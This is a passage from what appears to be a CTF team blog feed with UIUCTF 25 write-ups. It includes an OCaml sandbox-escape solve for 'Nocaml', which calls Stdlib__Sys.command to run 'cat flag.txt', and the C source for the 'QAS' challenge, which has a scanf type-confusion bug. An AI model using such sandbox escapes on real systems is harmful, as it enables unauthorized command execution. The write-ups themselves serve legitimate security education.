</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">external</span> input_char : in_channel -&gt; <span style="color:#fc5fa3">char</span> = <span style="color:#fc6a5d">&#34;caml_ml_input_char&#34;</span>;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> open_in name =
</span></span><span style="display:flex;"><span>    open_descriptor_in (open_desc name [<span style="color:#5dd8ff">Open_rdonly</span>; <span style="color:#5dd8ff">Open_text</span>] 0)
</span></span><span style="display:flex;"><span>;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> stdout = open_descriptor_out 1;;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> flag = open_in <span style="color:#fc6a5d">&#34;flag.txt&#34;</span>;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">(* read recursively until error *)</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> <span style="color:#fc5fa3">rec</span> f <span style="color:#a167e6">()</span> =
</span></span><span style="display:flex;"><span>    output_char stdout (input_char flag);
</span></span><span style="display:flex;"><span>    f <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span>;;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>f<span style="color:#a167e6">()</span>
</span></span></code></pre></div><p>After this solve I also found a much shorter one (possibly unintended).
To prevent module collisions the compiler mangles module names (<code>Parent.Child</code> becomes <code>Parent__Child</code>).
The Stdlib is <a href="https://github.com/ocaml/ocaml/blob/9d44d724ad63ea76e22f5ac4740d7d0a66ec92bd/toplevel/dune#L92">not an exception</a> to this, and <code>Nocaml</code> does not block those internal names.
So we can simply do:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ocaml" data-lang="ocaml"><span style="display:flex;"><span>Stdlib__Sys.command <span style="color:#fc6a5d">&#34;cat flag.txt&#34;</span>
</span></span></code></pre></div><p>In both cases</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>$ (base64 -w0 solve.ml; <span style="color:#d0a8ff">echo</span>) | ncat --no-shutdown --ssl nocaml.chal.uiuc.tf <span style="color:#41a1c0">1337</span>
</span></span><span style="display:flex;"><span>== proof-of-work: <span style="color:#41a1c0">disabled</span> ==
</span></span><span style="display:flex;"><span>uiuctf{nocaml_79976241e31bee31e37c42885}
</span></span></code></pre></div><p>To conclude, I liked this challenge quite a bit.
Coming into this with OCaml experience, the solutions felt natural and intuitive.</p>
]]></content></item><item><title>UIUCTF 25 - QAS</title><link>https://theromanxpl0.it/posts/2025/07/uiuctf-25-qas/</link><pubDate>Mon, 28 Jul 2025 11:21:17 +0200</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/07/uiuctf-25-qas/</guid><description>&lt;p>The challenge computes the hash of an integer we provide and
prints the flag if the hashed output matches a constant.&lt;/p>
&lt;p>The code is very straightforward and the only annoyance
is the usage of confusing type names for integer types.&lt;/p>
&lt;p>Here&amp;rsquo;s the code stripped from comments:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">typedef&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span> not_int_small;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">typedef&lt;/span> &lt;span style="color:#fc5fa3">short&lt;/span> int_small;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">typedef&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span> not_int_big;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">typedef&lt;/span> not_int_small int_big;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">typedef&lt;/span> &lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">char&lt;/span> quantum_byte;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">typedef&lt;/span> quantum_byte* quantum_ptr;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">typedef&lt;/span> &lt;span style="color:#fc5fa3">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> not_int_big val;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>} PASSWORD_QUANTUM;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">typedef&lt;/span> &lt;span style="color:#fc5fa3">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> int_small val;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> quantum_byte padding[&lt;span style="color:#d0bf69">2&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> quantum_byte checksum;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> quantum_byte reserved;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>} INPUT_QUANTUM;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">typedef&lt;/span> &lt;span style="color:#fc5fa3">struct&lt;/span> quantum_data_s &lt;span style="color:#fc5fa3">quantum_data_t&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">struct&lt;/span> &lt;span style="color:#41a1c0">__attribute__&lt;/span>((packed)) quantum_data_s {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> INPUT_QUANTUM input;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> PASSWORD_QUANTUM password;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> quantum_byte entropy_pool[&lt;span style="color:#d0bf69">8&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> quantum_byte quantum_state[&lt;span style="color:#d0bf69">16&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>};
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">static&lt;/span> &lt;span style="color:#fc5fa3">inline&lt;/span> quantum_byte &lt;span style="color:#41a1c0">generate_quantum_entropy&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">static&lt;/span> quantum_byte seed = &lt;span style="color:#d0bf69">0x42&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> seed = ((seed &amp;lt;&amp;lt; &lt;span style="color:#d0bf69">3&lt;/span>) ^ (seed &amp;gt;&amp;gt; &lt;span style="color:#d0bf69">5&lt;/span>)) + &lt;span style="color:#d0bf69">0x7f&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> seed;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">void&lt;/span> &lt;span style="color:#41a1c0">init_quantum_security&lt;/span>(&lt;span style="color:#fc5fa3">quantum_data_t&lt;/span>* qdata) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">for&lt;/span> (&lt;span style="color:#fc5fa3">int&lt;/span> i = &lt;span style="color:#d0bf69">0&lt;/span>; i &amp;lt; &lt;span style="color:#d0bf69">8&lt;/span>; i++) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> qdata-&amp;gt;entropy_pool[i] = &lt;span style="color:#41a1c0">generate_quantum_entropy&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">for&lt;/span> (&lt;span style="color:#fc5fa3">int&lt;/span> i = &lt;span style="color:#d0bf69">0&lt;/span>; i &amp;lt; &lt;span style="color:#d0bf69">16&lt;/span>; i++) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> qdata-&amp;gt;quantum_state[i] = (quantum_byte)(i * &lt;span style="color:#d0bf69">0x11&lt;/span> + &lt;span style="color:#d0bf69">0x33&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> qdata-&amp;gt;input.padding[&lt;span style="color:#d0bf69">0&lt;/span>] = &lt;span style="color:#d0bf69">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> qdata-&amp;gt;input.padding[&lt;span style="color:#d0bf69">1&lt;/span>] = &lt;span style="color:#d0bf69">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>not_int_big &lt;span style="color:#41a1c0">quantum_hash&lt;/span>(INPUT_QUANTUM input, quantum_byte* entropy) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> int_small input_val = input.val;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> not_int_big hash = input_val;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hash ^= (entropy[&lt;span style="color:#d0bf69">0&lt;/span>] &amp;lt;&amp;lt; &lt;span style="color:#d0bf69">8&lt;/span>) | entropy[&lt;span style="color:#d0bf69">1&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hash ^= (entropy[&lt;span style="color:#d0bf69">2&lt;/span>] &amp;lt;&amp;lt; &lt;span style="color:#d0bf69">4&lt;/span>) | (entropy[&lt;span style="color:#d0bf69">3&lt;/span>] &amp;gt;&amp;gt; &lt;span style="color:#d0bf69">4&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hash += (entropy[&lt;span style="color:#d0bf69">4&lt;/span>] * entropy[&lt;span style="color:#d0bf69">5&lt;/span>]) &amp;amp; &lt;span style="color:#d0bf69">0xff&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hash ^= entropy[&lt;span style="color:#d0bf69">6&lt;/span>] ^ entropy[&lt;span style="color:#d0bf69">7&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hash |= &lt;span style="color:#d0bf69">0xeee&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> hash ^= input.padding[&lt;span style="color:#d0bf69">0&lt;/span>] &amp;lt;&amp;lt; &lt;span style="color:#d0bf69">8&lt;/span> | input.padding[&lt;span style="color:#d0bf69">1&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> hash;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">void&lt;/span> &lt;span style="color:#41a1c0">access_granted&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Quantum authentication successful!&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Accessing secured vault...&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> FILE *fp = &lt;span style="color:#41a1c0">fopen&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;flag.txt&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;r&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> (fp == &lt;span style="color:#d0a8ff">NULL&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Error: Quantum vault is offline&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Please contact the quantum administrator.&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">char&lt;/span> flag[&lt;span style="color:#d0bf69">100&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> (&lt;span style="color:#41a1c0">fgets&lt;/span>(flag, &lt;span style="color:#fc5fa3">sizeof&lt;/span>(flag), fp) != &lt;span style="color:#d0a8ff">NULL&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;CLASSIFIED FLAG: %s&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, flag);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#fc5fa3">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Error: Quantum decryption failed&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Please contact the quantum administrator.&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">fclose&lt;/span>(fp);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">int&lt;/span> &lt;span style="color:#41a1c0">main&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">quantum_data_t&lt;/span> qdata;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">setvbuf&lt;/span>(stdout, &lt;span style="color:#d0a8ff">NULL&lt;/span>, _IONBF, &lt;span style="color:#d0bf69">0&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">setvbuf&lt;/span>(stdin, &lt;span style="color:#d0a8ff">NULL&lt;/span>, _IONBF, &lt;span style="color:#d0bf69">0&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">setvbuf&lt;/span>(stderr, &lt;span style="color:#d0a8ff">NULL&lt;/span>, _IONBF, &lt;span style="color:#d0bf69">0&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">init_quantum_security&lt;/span>(&amp;amp;qdata);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> qdata.password.val = &lt;span style="color:#d0bf69">0x555&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;=== QUANTUM AUTHENTICATION SYSTEM v2.7.3 ===&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Initializing quantum security protocols...&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">for&lt;/span> (&lt;span style="color:#fc5fa3">volatile&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span> i = &lt;span style="color:#d0bf69">0&lt;/span>; i &amp;lt; &lt;span style="color:#d0bf69">100000&lt;/span>; i++) { }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Quantum entropy generated. System ready.&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Please enter your quantum authentication code: &amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986">// qdata.input.val is a short !!!
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">if&lt;/span> (&lt;span style="color:#41a1c0">scanf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;%d&amp;#34;&lt;/span>, (&lt;span style="color:#fc5fa3">int&lt;/span>*)&amp;amp;qdata.input.val) != &lt;span style="color:#d0bf69">1&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Invalid quantum input format!&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> qdata.input.checksum = (quantum_byte)(qdata.input.val &amp;amp; &lt;span style="color:#d0bf69">0xff&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> not_int_big hashed_input = &lt;span style="color:#41a1c0">quantum_hash&lt;/span>(qdata.input, qdata.entropy_pool);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Quantum hash computed: 0x%x&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, hashed_input);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> (hashed_input == qdata.password.val) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">access_granted&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#fc5fa3">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Quantum authentication failed!&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Access denied. Incident logged.&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Since the constant is known (&lt;code>0x555&lt;/code>) and the domain of the input is small (32-bit),
we can just bruteforce it!&lt;/p></description><content type="html"><![CDATA[<p>The challenge computes the hash of an integer we provide and
prints the flag if the hashed output matches a constant.</p>
<p>The code is very straightforward and the only annoyance
is the usage of confusing type names for integer types.</p>
<p>Here&rsquo;s the code stripped from comments:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">typedef</span> <span style="color:#fc5fa3">int</span> not_int_small;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">typedef</span> <span style="color:#fc5fa3">short</span> int_small;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">typedef</span> <span style="color:#fc5fa3">int</span> not_int_big;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">typedef</span> not_int_small int_big;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">typedef</span> <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">char</span> quantum_byte;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">typedef</span> quantum_byte* quantum_ptr;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">typedef</span> <span style="color:#fc5fa3">struct</span> {
</span></span><span style="display:flex;"><span>    not_int_big val;
</span></span><span style="display:flex;"><span>} PASSWORD_QUANTUM;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">typedef</span> <span style="color:#fc5fa3">struct</span> {
</span></span><span style="display:flex;"><span>    int_small val;
</span></span><span style="display:flex;"><span>    quantum_byte padding[<span style="color:#d0bf69">2</span>];
</span></span><span style="display:flex;"><span>    quantum_byte checksum;
</span></span><span style="display:flex;"><span>    quantum_byte reserved;
</span></span><span style="display:flex;"><span>} INPUT_QUANTUM;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">typedef</span> <span style="color:#fc5fa3">struct</span> quantum_data_s <span style="color:#fc5fa3">quantum_data_t</span>;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">struct</span> <span style="color:#41a1c0">__attribute__</span>((packed)) quantum_data_s {
</span></span><span style="display:flex;"><span>    INPUT_QUANTUM input;
</span></span><span style="display:flex;"><span>    PASSWORD_QUANTUM password;
</span></span><span style="display:flex;"><span>    quantum_byte entropy_pool[<span style="color:#d0bf69">8</span>];
</span></span><span style="display:flex;"><span>    quantum_byte quantum_state[<span style="color:#d0bf69">16</span>];
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">static</span> <span style="color:#fc5fa3">inline</span> quantum_byte <span style="color:#41a1c0">generate_quantum_entropy</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">static</span> quantum_byte seed = <span style="color:#d0bf69">0x42</span>;
</span></span><span style="display:flex;"><span>    seed = ((seed &lt;&lt; <span style="color:#d0bf69">3</span>) ^ (seed &gt;&gt; <span style="color:#d0bf69">5</span>)) + <span style="color:#d0bf69">0x7f</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> seed;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">void</span> <span style="color:#41a1c0">init_quantum_security</span>(<span style="color:#fc5fa3">quantum_data_t</span>* qdata) {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> (<span style="color:#fc5fa3">int</span> i = <span style="color:#d0bf69">0</span>; i &lt; <span style="color:#d0bf69">8</span>; i++) {
</span></span><span style="display:flex;"><span>        qdata-&gt;entropy_pool[i] = <span style="color:#41a1c0">generate_quantum_entropy</span>();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> (<span style="color:#fc5fa3">int</span> i = <span style="color:#d0bf69">0</span>; i &lt; <span style="color:#d0bf69">16</span>; i++) {
</span></span><span style="display:flex;"><span>        qdata-&gt;quantum_state[i] = (quantum_byte)(i * <span style="color:#d0bf69">0x11</span> + <span style="color:#d0bf69">0x33</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    qdata-&gt;input.padding[<span style="color:#d0bf69">0</span>] = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>    qdata-&gt;input.padding[<span style="color:#d0bf69">1</span>] = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>not_int_big <span style="color:#41a1c0">quantum_hash</span>(INPUT_QUANTUM input, quantum_byte* entropy) {
</span></span><span style="display:flex;"><span>    int_small input_val = input.val;
</span></span><span style="display:flex;"><span>    not_int_big hash = input_val;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    hash ^= (entropy[<span style="color:#d0bf69">0</span>] &lt;&lt; <span style="color:#d0bf69">8</span>) | entropy[<span style="color:#d0bf69">1</span>];
</span></span><span style="display:flex;"><span>    hash ^= (entropy[<span style="color:#d0bf69">2</span>] &lt;&lt; <span style="color:#d0bf69">4</span>) | (entropy[<span style="color:#d0bf69">3</span>] &gt;&gt; <span style="color:#d0bf69">4</span>);
</span></span><span style="display:flex;"><span>    hash += (entropy[<span style="color:#d0bf69">4</span>] * entropy[<span style="color:#d0bf69">5</span>]) &amp; <span style="color:#d0bf69">0xff</span>;
</span></span><span style="display:flex;"><span>    hash ^= entropy[<span style="color:#d0bf69">6</span>] ^ entropy[<span style="color:#d0bf69">7</span>];
</span></span><span style="display:flex;"><span>    hash |= <span style="color:#d0bf69">0xeee</span>;
</span></span><span style="display:flex;"><span>    hash ^= input.padding[<span style="color:#d0bf69">0</span>] &lt;&lt; <span style="color:#d0bf69">8</span> | input.padding[<span style="color:#d0bf69">1</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> hash;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">void</span> <span style="color:#41a1c0">access_granted</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Quantum authentication successful!</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Accessing secured vault...</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>
